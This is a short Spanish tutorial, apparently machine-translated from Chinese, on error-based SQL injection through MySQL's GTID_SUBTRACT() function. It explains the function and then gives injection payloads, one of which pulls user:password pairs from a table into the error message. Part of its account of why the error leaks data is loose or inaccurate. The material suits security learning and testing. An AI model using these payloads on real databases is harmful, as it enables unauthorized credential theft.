Tabla de contenido
Inyección de error de GTID_SUBTRACT()
1. Introducción a la gramática:
(***Nota: Preste atención a los requisitos de la versión)
GTID_SUBTRACT () inyección de error
1. Introducción a la gramática:
Versión:
MySQL >=5.6
La función GTID_SUBTRACT() es una función en MySQL que calcula la diferencia entre dos identificadores de transacciones globales (GTID). GTID es un identificador de transacción global introducido en MySQL 5.6, que se usa para rastrear transacciones en la base de datos.
gramática:
GTID_SUBTRACT(gtid_set, gtid)
Entre ellos, gtid_set es un conjunto de GTID y gtid es un solo GTID. Esta función devuelve un nuevo conjunto de GTID que representa el resto después de restar gtid de gtid_set
principio:
- Primero, divida el gtid_set en GTID individuales.
- Luego, itere a través de cada GTID, verificando si es el mismo que el gtid. Si es el mismo, se elimina del gtid_set.
- Finalmente, vuelva a ensamblar los GTID restantes en un nuevo conjunto de GTID y regrese
Escenas a utilizar:
- Replicación de la base de datos: cuando se ejecuta una transacción en la base de datos maestra, se genera un GTID y se pasa a la base de datos esclava. La base de datos esclava puede usar la función GTID_SUBTRACT() para calcular la diferencia entre las bases de datos maestra y esclava para determinar qué datos deben replicarse.
- Migración de base de datos: cuando necesite migrar datos de una base de datos a otra, puede usar la función GTID_SUBTRACT() para calcular la diferencia entre las dos bases de datos y copiar solo los datos en la diferencia
2. El motivo del error
causa:
1. GTID (ID de transacción global) es un identificador único que se utiliza para identificar transacciones globales en MySQL
2. La función GTID_SUBTRACT() se puede usar para calcular la diferencia entre dos conjuntos de GTID para determinar qué transacciones existen en un conjunto de GTID pero no existen en otro conjunto de GTID.
3. Inyecte código SQL malicioso en los parámetros gtid_set1 o gtid_set2. De esta forma, cuando se ejecute la función GTID_SUBTRACT(), se ejecutará el código malicioso
carga útil:
select GTID_SUBTRACT(user(),1)
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from 表名),0x7e),1)--+
//GROUP_CONCAT()函数将它们组合成一个字符串
//concat()函数用于连接字符串
//0x7e表示波浪符(~)
Gráfico:
root@localhost
grupo de seguridad de la red
GitHub - BLACKxZONE/Treasure_knowledge https://github.com/BLACKxZONE/Treasure_knowledge